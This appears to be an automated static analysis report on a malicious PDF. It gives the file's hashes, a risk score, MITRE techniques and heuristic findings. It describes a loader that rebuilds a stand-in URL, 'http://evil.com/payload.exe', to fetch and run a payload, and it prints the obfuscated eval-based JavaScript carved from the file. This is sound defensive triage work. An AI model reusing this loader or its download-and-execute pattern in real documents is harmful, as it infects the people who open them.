Malicious PDF — malware analysis report

Static analysis result for SHA-256 181b39349c0cc557…

MALICIOUS

PDF

44.6 KB Authoring application: substr First seen: 2012-09-20
MD5: 68e6018c4fbda2ec4d099409a5eb04ab SHA-1: fbac1d6236f6cbd79a667f079003b5d6e70e6d9c SHA-256: 181b39349c0cc557c8f89becc284535bc59062631c760ca2af68621c6d28ea2e
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified by multiple heuristics as a loader. This script reconstructs a URL and uses it to download and execute a second-stage payload. The reconstructed URL is 'http://evil.com/payload.exe'. The ML classifier strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFB0 471 bytes
SHA-256: 6912f9a8385796ddac41c991178140cfca14b387615563671f64c38bfab4ed51
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+'v'+a[2]+t[0];
e=v[v]()[s];
zhvhj=e(v[4]+'i'.concat(v[4],t));
q=zhvhj[v](a['leng'+'th']-7,9);
d='String';
d+='.fr';
d+='o'+q;
kva=e(e('d'));
sub=v[0];
sub+='ubject';
q=zhvhj[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0]+'eng'+'t'+'h'];
i=t.length-2;
for(;i!==k;){
	mzkh = 1*(q[i]);
	i++;
	mzkh -= (-1)*(q[i]);
	s2 += kva(mzkh);
	i++;
}
e(s2);

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